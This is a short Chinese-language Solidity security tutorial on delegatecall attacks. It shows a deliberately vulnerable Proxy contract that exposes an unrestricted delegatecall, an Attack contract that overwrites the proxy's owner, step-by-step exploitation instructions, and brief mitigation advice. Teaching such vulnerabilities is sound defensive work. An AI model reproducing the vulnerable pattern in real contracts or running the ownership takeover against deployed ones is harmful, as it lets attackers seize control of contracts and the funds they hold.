第20节:安全事故10-delegatecall攻击
当合约中存在delegatecall操作时,要格外小心,我们可以把使用delegatecall的合约当成代理合约,可以通过业务合约(Attack合约)来对代理合约进行升级,从而修改了代理合约中的数据。
以下案例中,我们通过Attack合约完成了对Proxy合约的owner修改。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
// 操作步骤:
// 1. 使用account0部署Proxy,此时owner是account0
// 2. 使用account1部署Attack,得到地址attack_addr
// 3. 调用forward(attack_addr, 0x40caae06)
// 4. 检查owner地址,此时由account0变成了account1
contract Proxy {
address public owner;
constructor() {
owner = msg.sender;
}
// _data: 0x40caae06
function forward(address callee, bytes memory _data) public {
(bool success, ) = callee.delegatecall(_data);
require(success, "tx failed!");
}
}
contract Attack {
address public owner;
function setOwner() public {
owner = tx.origin;
}
}
解决方案:
- 尽量避免使用delegatecall
- 如果必要使用,可以考虑权限控制、对callee的控制等,至少不能任由外界进行随便调用。